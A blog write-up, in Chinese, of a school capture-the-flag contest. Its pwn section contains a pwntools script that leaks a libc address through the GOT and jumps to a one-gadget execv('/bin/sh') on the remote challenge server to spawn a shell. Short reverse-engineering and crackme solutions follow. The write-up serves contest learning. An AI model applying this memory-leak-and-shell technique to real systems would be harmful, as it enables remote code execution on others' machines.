zoukankan      html  css  js  c++  java
  • 校赛writeup

    Warmup——pwn

    第一次输入的是一个地址

    会输出地址的内容——这个可以用来泄露

    一旦泄露了,在后面的输入就可以进行跳转到想要的位置

    而且这里不需要覆盖

    直接就会跳转到输入的位置去执行

    但是这个题目的坑点在于要找到正确的偏移,在给出的libc中,有8个带/bin/sh的execv

    一个一个试一下才能找到

    Exp:

    #!/usr/bin/env python
    
    # encoding: utf-8
    
    from pwn import *
    
    proc_name = './oneshot'
    
    proc_elf = ELF(proc_name)
    
    print proc_elf.checksec()
    
    context.log_level = 'debug'
    
    io = remote("59.110.6.128",10086)
    
    #io = process(proc_name)
    
    #print proc.pidof(io)[0]
    
    raw_input('debug')
    
    local_lib_system =0x7ffff7a53380
    
    local_lib_printf = 0x557b0
    
    local_lib_execv = 0x451ff
    
    local_lib_puts = 0x6f5d0
    
    local_lib_temp = 0x6f4e6
    
    lib2_sys = 0x46590
    
    lib2_printf =0x0000000000054340
    
    lib2_execv = 0x00000000000C12E0
    
    lib2_puts = 0x6fd60
    
    got_printf = 0x600ae8
    
    got_puts = 0x600ad8
    
    plt_puts = 0x4004F0
    
    plt_printf = 0x400510
    
    payload1 = str(int(got_puts))
    
    io.recvuntil("?");
    
    io.sendline(payload1)
    
    io.recvuntil(":")
    
    recvdata = io.recv()
    
    puts_addr = recvdata[:19]
    
    print "puts_addr "+ puts_addr
    
    puts_addr = int(puts_addr,16)
    
    execv1 = 0x6FBDA
    
    execv2 = 0x46483
    
    execv3 = 0xC18D1
    
    execv4 = 0xC1BA3
    
    execv5 = 0xC1BF2
    
    execv6 = 0xE4968
    
    execv7 = 0xE5765
    
    execv8 = 0xE66BD
    
    execv_addr = puts_addr + execv - lib2_puts
    
    print "execv_addr  " +str(hex(execv_addr))
    
    payload2 = str(execv_addr)
    
    io.sendline(payload2)
    
    io.recvuntil("!")
    
    io.interactive()

    warmup——re

    其实很简单

    用ida打开看一下就可以了

    然后写个程序,根据hint——goodgoodstudydaydayup

    但是如果没有hint就很难。。。完全猜不到。。。

    Crackme

    四层分析就可以得到flag

    第一层:

    简单的倒推就知道是2

    第二层:

    这个其实可以暴力求出来是654321

    第三层

    给出merrychrismas,加上之前算出来的x[]数组,可以倒推出来应该输入的字符串

    Lcont=gpfoog`q

    第四层:

    需要根据前面四个函数算出来flag变量的值

    不是很难,稍微编个程就出来了

    176455667

    注意要在cmd中运行,才能看到flag——因为会闪退

  • 相关阅读:
    npm,umi,yarn
    PHPStorm 快捷键, 到页面顶部和底部
    百度统计
    公共管理之重置密码
    ALT+J 多行编辑
    PHP,Excel导出换行
    art-template 弹出上传多图
    java mock
    mysql查找字符串出现位置
    Spring 依赖注入,在Main方法中取得Spring控制的实例
  • 原文地址:https://www.cnblogs.com/volva/p/11813866.html
Copyright © 2011-2022 走看看